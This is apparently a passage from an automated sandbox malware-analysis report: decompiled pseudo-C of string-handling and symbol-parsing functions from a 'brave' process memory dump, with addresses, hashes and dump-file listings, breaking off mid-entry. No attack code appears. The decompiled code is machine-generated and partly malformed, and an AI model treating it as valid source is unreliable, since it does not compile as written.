			E00007FF77FF755E8D760(signed int __eax, signed int __edx, void* __rax, signed char* __rcx, long long __rdx, long long __r8) {
				signed int _t83;
				void* _t86;
				int _t89;
				signed int _t91;
				void* _t94;
				signed int _t108;
				void* _t111;
				void* _t113;
				long long _t137;
				signed long long _t140;
				unsigned long long _t160;
				long long* _t165;
				void* _t166;
				void* _t167;
				void* _t168;
				void* _t169;
				void* _t170;
				signed long long _t182;
				void* _t184;
				signed char* _t188;
				void* _t189;
				signed char* _t190;

				_t167 = _t166 - 0x218;
				_t165 = _t167 + 0x80;
				r15d =  *__rcx & 0x000000ff;
				_t111 = r15b - 0x5f;
				if (_t111 == 0) goto 0x55e8dad0;
				asm("repe cmpsb");
				asm("sbb al, 0x0");
				r14d = 0;
				if ((__eax & 0xffffff00 | _t111 > 0x00000000) != 0) goto 0x55e8d7e0;
				_t113 = (__rcx[8] & 0x000000ff) - 0x24 - 0x3b;
				if (_t113 > 0) goto 0x55e8d7e0;
				asm("dec eax");
				if (_t113 >= 0) goto 0x55e8d7e0;
				_t83 = __rcx[9] & 0x000000ff;
				if (_t83 == 0x44) goto 0x55e8db10;
				if (_t83 == 0x49) goto 0x55e8db10;
				strlen(??);
				 *((long long*)(_t165 - 0x50)) = __rcx;
				 *((intOrPtr*)(_t165 - 0x40)) = 0x11;
				r8d = __rax + __rax;
				 *((long long*)(_t165 - 0x48)) = __rax + __rcx;
				 *(_t165 - 0x38) = __rcx;
				 *(_t165 - 0x24) = r8d;
				 *((intOrPtr*)(_t165 - 0x28)) = 0;
				 *((intOrPtr*)(_t165 - 0x14)) = __edx;
				 *((intOrPtr*)(_t165 - 0x18)) = 0;
				 *((long long*)(_t165 - 0x10)) = 0;
				 *((long long*)(_t165 - 8)) = 0;
				 *_t165 = 0;
				if (r8d - 0x800 > 0) goto 0x55e8dab3;
				_t86 = E00007FF77FF755E8F680(0);
				_t168 = _t167 - (r8d << 5);
				_t160 = _t168 + 0x27;
				E00007FF77FF755E8F680(_t86);
				_t169 = _t168 - (0x0000000f + __edx * 0x00000008 & 0xfffffff0);
				 *(_t165 - 0x30) = _t160 & 0xfffffff8;
				_t137 = _t169 + 0x20;
				 *((long long*)(_t165 - 0x20)) = _t137;
				if (r14d == 1) goto 0x55e8dae8;
				_t23 = _t189 - 2; // -2
				if (_t23 - 1 > 0) goto 0x55e8daf8;
				_t190 =  &(__rcx[0xb]);
				 *(_t165 - 0x38) = _t190;
				if (__rcx[0xb] != 0x5f) goto 0x55e8d8b8;
				if (__rcx[0xc] == 0x5a) goto 0x55e8dc32;
				 *(_t165 - 0x60) = _t160 >> 3;
				 *(_t165 - 0x54) = r8d;
				_t89 = strlen(??);
				r8d =  *(_t165 - 0x54);
				_t182 =  *(_t165 - 0x60);
				if (r8d <= 0) goto 0x55e8dbf3;
				 *((long long*)(4 + _t182 * 8)) = 0;
				 *((intOrPtr*)(_t165 - 0x28)) = 1;
				if (_t89 <= 0) goto 0x55e8dbf3;
				 *(_t182 * 8) = 0;
				 *(0x10 + _t182 * 8) = _t190;
				 *(0x18 + _t182 * 8) = _t89;
				r9d = 0;
				E00007FF77FF755E84DD0();
				strlen(??);
				_t188 =  &(( *(_t165 - 0x38))[_t137]);
				 *(_t165 - 0x38) = _t188;
				_t91 =  *_t188 & 0x000000ff;
				if (_t91 != 0) goto 0x55e8daee;
				if (_t137 == 0) goto 0x55e8daee;
				 *((long long*)(_t165 + 0x120)) = __rdx;
				_t184 = _t165 + 0x10;
				 *((char*)(_t165 + 0x118)) = 0;
				 *((long long*)(_t165 + 0x110)) = 0;
				 *((long long*)(_t165 + 0x128)) = __r8;
				 *((long long*)(_t165 + 0x130)) = 0;
				 *((long long*)(_t165 + 0x138)) = 0;
				 *((long long*)(_t165 + 0x140)) = 0;
				 *((long long*)(_t165 + 0x148)) = 0;
				 *((intOrPtr*)(_t165 + 0x150)) = 0;
				 *((long long*)(_t165 + 0x158)) = 0;
				 *((long long*)(_t165 + 0x160)) = 0;
				 *((long long*)(_t165 + 0x168)) = 0;
				 *((long long*)(_t165 + 0x170)) = 0;
				 *((long long*)(_t165 + 0x178)) = 0;
				E00007FF77FF755E850B0();
				if ( *((intOrPtr*)(_t165 + 0x144)) - 0x7ff > 0) goto 0x55e8da0c;
				 *((intOrPtr*)(_t165 + 0x144)) = 0;
				 *((long long*)(_t165 + 0x180)) = 0;
				_t108 =  *(_t165 + 0x17c) * _t91;
				_t139 =  <=  ? _t184 :  *((intOrPtr*)(_t165 + 0x16c));
				_t140 = ( <=  ? _t184 :  *((intOrPtr*)(_t165 + 0x16c))) << 4;
				 *(_t165 + 0x17c) = _t108;
				E00007FF77FF755E8F680(_t91);
				_t170 = _t169 - _t140;
				_t94 =  >  ? _t108 : 1;
				E00007FF77FF755E8F680(_t140);
				 *((long long*)(_t165 + 0x160)) = _t170 + 0x20;
				 *((long long*)(_t165 + 0x170)) = _t170 - (_t140 << 4) + 0x20;
				E00007FF77FF755E8BFE0(_t184, _t137);
				 *((char*)(_t165 +  *((intOrPtr*)(_t165 + 0x110)) + 0x10)) = 0;
				 *((intOrPtr*)(_t165 + 0x120))();
				return 0 |  *((intOrPtr*)(_t165 + 0x140)) == 0x00000000;
			}

0x7ff755e8d76c
0x7ff755e8d773
0x7ff755e8d77b
0x7ff755e8d788
0x7ff755e8d78c
0x7ff755e8d7a1
0x7ff755e8d7a6
0x7ff755e8d7a8
0x7ff755e8d7ad
0x7ff755e8d7b7
0x7ff755e8d7b9
0x7ff755e8d7c5
0x7ff755e8d7c9
0x7ff755e8d7cb
0x7ff755e8d7d2
0x7ff755e8d7da
0x7ff755e8d7e3
0x7ff755e8d7e8
0x7ff755e8d7f2
0x7ff755e8d7f9
0x7ff755e8d7fd
0x7ff755e8d803
0x7ff755e8d807
0x7ff755e8d80b
0x7ff755e8d812
0x7ff755e8d815
0x7ff755e8d81c
0x7ff755e8d824
0x7ff755e8d82c
0x7ff755e8d83b
0x7ff755e8d84b
0x7ff755e8d850
0x7ff755e8d856
0x7ff755e8d872
0x7ff755e8d877
0x7ff755e8d87a
0x7ff755e8d87e
0x7ff755e8d883
0x7ff755e8d88b
0x7ff755e8d891
0x7ff755e8d898
0x7ff755e8d89e
0x7ff755e8d8a7
0x7ff755e8d8ab
0x7ff755e8d8b2
0x7ff755e8d8bb
0x7ff755e8d8bf
0x7ff755e8d8c3
0x7ff755e8d8c8
0x7ff755e8d8cc
0x7ff755e8d8d3
0x7ff755e8d8d9
0x7ff755e8d8e5
0x7ff755e8d8ee
0x7ff755e8d8f4
0x7ff755e8d904
0x7ff755e8d90c
0x7ff755e8d923
0x7ff755e8d929
0x7ff755e8d938
0x7ff755e8d93d
0x7ff755e8d940
0x7ff755e8d944
0x7ff755e8d94b
0x7ff755e8d954
0x7ff755e8d95a
0x7ff755e8d961
0x7ff755e8d96b
0x7ff755e8d972
0x7ff755e8d97d
0x7ff755e8d984
0x7ff755e8d98f
0x7ff755e8d99a
0x7ff755e8d9a5
0x7ff755e8d9b0
0x7ff755e8d9ba
0x7ff755e8d9c5
0x7ff755e8d9d0
0x7ff755e8d9db
0x7ff755e8d9e6
0x7ff755e8d9f1
0x7ff755e8da00
0x7ff755e8da02
0x7ff755e8da21
0x7ff755e8da2c
0x7ff755e8da31
0x7ff755e8da35
0x7ff755e8da39
0x7ff755e8da3f
0x7ff755e8da44
0x7ff755e8da4b
0x7ff755e8da59
0x7ff755e8da66
0x7ff755e8da78
0x7ff755e8da7f
0x7ff755e8da98
0x7ff755e8da9d
0x7ff755e8dac6

APIs

strlen.MSVCRT ref: 00007FF755E8D7E3
strlen.MSVCRT ref: 00007FF755E8D8C3
strlen.MSVCRT ref: 00007FF755E8D938

Strings

_GLOBAL_, xrefs: 00007FF755E8D797

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: strlen
String ID: _GLOBAL_
API String ID: 39653677-770460502
Opcode ID: a980d7a97dd603dd885cedb4aa38cc9247ee4e0068a44f4649bb0ec17d10a106
Instruction ID: 2d885edc125af697b48d9152c25c117423b05b35cb530727bd92d388b736c7fd
Opcode Fuzzy Hash: a980d7a97dd603dd885cedb4aa38cc9247ee4e0068a44f4649bb0ec17d10a106
Instruction Fuzzy Hash: 3FD12636A086E588F760AB219A043FE7BA6EB05B9CF884035DA5D1F785CF7C9545C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E9D8C0 Relevance: 6.2, APIs: 4, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2003478f90ec538c76f09482347ae3f7c76a6382b38b985e93f8e09ec77093db
Instruction ID: 1f28907b54da632c077a66951a0f562f2297c0abacf0f7d1c393a283989f5979
Opcode Fuzzy Hash: 2003478f90ec538c76f09482347ae3f7c76a6382b38b985e93f8e09ec77093db
Instruction Fuzzy Hash: 0391817AE0827686E765AF29C304379A6B1AB44F9CF9C8131CE0D5B3C4DA7CE851C761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E9AD10 Relevance: 6.2, APIs: 4, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e6e5f4dbbebcdbe2464d60878269abd70efe3d9c16f3e99d452a50a930ed317
Instruction ID: e9a63bafdbdd8e0a1eb8dfae85f6db5ed885a2a17e41005b439246aa4008bbe6
Opcode Fuzzy Hash: 3e6e5f4dbbebcdbe2464d60878269abd70efe3d9c16f3e99d452a50a930ed317
Instruction Fuzzy Hash: FE91957AA0926286E7659F29C205379A6B1AF44F9CF9C8135CE0D1BBC5DB3CE841C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EA9C50 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 192
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755EA9C50(void* __eflags, long long* __rcx, signed char* __rdx, long long __r8) {
				long long _v32;
				signed int _t6;
				long long _t15;

				_t15 = __rcx + 0x10;
				 *__rcx = _t15;
				if (__eflags == 0) goto 0x55ea9c75;
				if (__rdx == 0) goto 0x55ea9ce4;
				_v32 = __r8;
				if (__r8 - 0xf > 0) goto 0x55ea9cb0;
				if (__r8 != 1) goto 0x55ea9ca0;
				_t6 =  *__rdx & 0x000000ff;
				 *(__rcx + 0x10) = _t6;
				 *((long long*)(__rcx + 8)) = __r8;
				 *((char*)(_t15 + __r8)) = 0;
				return _t6;
			}

0x7ff755ea9c5e
0x7ff755ea9c68
0x7ff755ea9c6e
0x7ff755ea9c73
0x7ff755ea9c75
0x7ff755ea9c7e
0x7ff755ea9c84
0x7ff755ea9c86
0x7ff755ea9c8b
0x7ff755ea9c8e
0x7ff755ea9c92
0x7ff755ea9c9e

Strings

basic_string::_M_construct null not valid, xrefs: 00007FF755EA9CE4, 00007FF755EA9D94, 00007FF755EA9E44

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: 14aa54d20c428766249a2dcfb27d26650a5f1dce7f3d40a69184aa0789750512
Instruction ID: a6a7673ea77a12fd9f4ebe53a07e320204d92681991bde18dc081ae398668562
Opcode Fuzzy Hash: 14aa54d20c428766249a2dcfb27d26650a5f1dce7f3d40a69184aa0789750512
Instruction Fuzzy Hash: 3251C26AA09A7180EB21BB25E5041BDF7A0AB59FD8FCC4531DE8D8B756DE3CD582C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EA8FA0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755EA8FA0(long long* __rcx, intOrPtr* __rdx, long long __r8, void* __r9) {
				void* _t3;
				long long* _t7;

				_t7 = __rcx;
				_t9 =  *__rdx;
				_t16 =  *((intOrPtr*)( *__rdx - 0x18));
				if (__r8 -  *((intOrPtr*)( *__rdx - 0x18)) > 0) goto 0x55ea8fd2;
				r9d = 0;
				_t3 = E00007FF77FF755EA6C20(__r8, _t9 + __r8, _t9 + _t16);
				 *_t7 = __r8;
				return _t3;
			}

0x7ff755ea8fa5
0x7ff755ea8fa8
0x7ff755ea8fb1
0x7ff755ea8fbc
0x7ff755ea8fc1
0x7ff755ea8fc4
0x7ff755ea8fc9
0x7ff755ea8fd1

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF755EA8FDC, 00007FF755EA903A, 00007FF755EA909A
basic_string::basic_string, xrefs: 00007FF755EA8FD5, 00007FF755EA9033, 00007FF755EA9093
basic_string::_S_construct null not valid, xrefs: 00007FF755EA912A

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_S_construct null not valid$basic_string::basic_string
API String ID: 0-1533248280
Opcode ID: 7d89f8512e7e65814ec1fac360f2fa8d0805d6f994624814b77e8e40921412a7
Instruction ID: c7cfe3773fa5684c556776a420ccadc32502b053f8e006793d02e70d457b8eb4
Opcode Fuzzy Hash: 7d89f8512e7e65814ec1fac360f2fa8d0805d6f994624814b77e8e40921412a7
Instruction Fuzzy Hash: C641F5A6F0665581FE14BB71E9583BDA3A1AB65FD8F884431DE0C0F386EE2CD591C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EA8980 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755EA8980(long long* __rcx, intOrPtr* __rdx, long long __r8, void* __r9) {
				void* _t3;
				long long* _t7;

				_t7 = __rcx;
				_t9 =  *__rdx;
				_t16 =  *((intOrPtr*)( *__rdx - 0x18));
				if (__r8 -  *((intOrPtr*)( *__rdx - 0x18)) > 0) goto 0x55ea89b2;
				r9d = 0;
				_t3 = E00007FF77FF755EA6C20(__r8, _t9 + __r8, _t9 + _t16);
				 *_t7 = __r8;
				return _t3;
			}

0x7ff755ea8985
0x7ff755ea8988
0x7ff755ea8991
0x7ff755ea899c
0x7ff755ea89a1
0x7ff755ea89a4
0x7ff755ea89a9
0x7ff755ea89b1

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF755EA89BC, 00007FF755EA8A1A, 00007FF755EA8A7A
basic_string::basic_string, xrefs: 00007FF755EA89B5, 00007FF755EA8A13, 00007FF755EA8A73
basic_string::_S_construct null not valid, xrefs: 00007FF755EA8B0A

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_S_construct null not valid$basic_string::basic_string
API String ID: 0-1533248280
Opcode ID: 7d8338a1e9edd29d1aec0803ef2ebf7c98187b021472197f0bb09db241f85474
Instruction ID: 3f9d6c4d6c27beeed8c8b5500d55816d41509e172922437ac27d39b263defbc1
Opcode Fuzzy Hash: 7d8338a1e9edd29d1aec0803ef2ebf7c98187b021472197f0bb09db241f85474
Instruction Fuzzy Hash: 8C41E4A6F0A65541FF14BB61E9583B9A2A1AB65FD8F884431DE0D0F346EE2CD581C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EAC170 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 161
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF755EAC170(intOrPtr* __rcx, void* __rdx, intOrPtr* __r8) {
				long long _v24;
				void* _t5;
				void* _t6;

				if (__rdx -  *__rcx -  *((intOrPtr*)(__rcx + 8)) > 0) goto 0x55eac19a;
				_v24 =  *((intOrPtr*)(__r8 + 8));
				r8d = 0;
				return E00007FF77FF755EAAE20(_t5, _t6, __rcx, __rdx -  *__rcx,  *((intOrPtr*)(__r8 + 8)),  *__r8);
			}

0x7ff755eac185
0x7ff755eac187
0x7ff755eac18c
0x7ff755eac199

APIs

strlen.MSVCRT ref: 00007FF755EAC1D5

Part of subcall function 00007FF755EAAE20: memcpy.MSVCRT ref: 00007FF755EAAEC5
Part of subcall function 00007FF755EAAE20: memcpy.MSVCRT ref: 00007FF755EAAEF0

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF755EAC1A7, 00007FF755EAC20D, 00007FF755EAC24F, 00007FF755EAC293, 00007FF755EAC2F5, 00007FF755EAC30E, 00007FF755EAC353
basic_string::insert, xrefs: 00007FF755EAC2EE, 00007FF755EAC34C
basic_string::replace, xrefs: 00007FF755EAC1A0, 00007FF755EAC206, 00007FF755EAC248, 00007FF755EAC28C, 00007FF755EAC307

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpy$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::insert$basic_string::replace
API String ID: 2619041689-3628603605
Opcode ID: acf8db3c17e877630cf77c62e067198b43ffa339475565046a16a17aaf7fc19b
Instruction ID: 73b5b06708347dd61b5cf3da369e466109efbd63cddfb808d8e00a9f1f5dabf8
Opcode Fuzzy Hash: acf8db3c17e877630cf77c62e067198b43ffa339475565046a16a17aaf7fc19b
Instruction Fuzzy Hash: C741F16AB09A9A81EE00BB76ED014BAA361FB55FD8FCC5132ED0D2B711EE2CD545C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EAF340 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF755EAF340(intOrPtr* __rcx, void* __rdx, intOrPtr* __r8) {
				long long _v24;
				void* _t5;
				void* _t6;

				if (__rdx -  *__rcx >> 1 -  *((intOrPtr*)(__rcx + 8)) > 0) goto 0x55eaf36d;
				_v24 =  *((intOrPtr*)(__r8 + 8));
				r8d = 0;
				return E00007FF77FF755EADEF0(_t5, _t6, __rcx, __rdx -  *__rcx >> 1,  *((intOrPtr*)(__r8 + 8)),  *__r8);
			}

0x7ff755eaf358
0x7ff755eaf35a
0x7ff755eaf35f
0x7ff755eaf36c

APIs

wcslen.MSVCRT ref: 00007FF755EAF3A5

Part of subcall function 00007FF755EADEF0: memcpy.MSVCRT ref: 00007FF755EADF96
Part of subcall function 00007FF755EADEF0: memcpy.MSVCRT ref: 00007FF755EADFC1

Strings

basic_string::insert, xrefs: 00007FF755EAF4BC, 00007FF755EAF51C
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF755EAF37A, 00007FF755EAF3DD, 00007FF755EAF41F, 00007FF755EAF463, 00007FF755EAF4C3, 00007FF755EAF4DC, 00007FF755EAF523
basic_string::replace, xrefs: 00007FF755EAF373, 00007FF755EAF3D6, 00007FF755EAF418, 00007FF755EAF45C, 00007FF755EAF4D5

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::insert$basic_string::replace
API String ID: 1844840824-3628603605
Opcode ID: 7f7506947e0cdf472993f0743dd8d0f22e204ef2ca206140b47516d04f83e820
Instruction ID: 26bd7c958cb5d359225933bc6bbf5d61ff61de977f0073e4ddf5ff9742ad18bb
Opcode Fuzzy Hash: 7f7506947e0cdf472993f0743dd8d0f22e204ef2ca206140b47516d04f83e820
Instruction Fuzzy Hash: 0041026AF09A9A80EE00BB29ED005AAA350FB55FD8FC89132ED0D4B752EE3CD545C314

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EAEEA0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF755EAEF05
memcpy.MSVCRT ref: 00007FF755EAEFDA

Strings

basic_string::append, xrefs: 00007FF755EAEF5D, 00007FF755EAF039
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF755EAEF64

Memory Dump Source

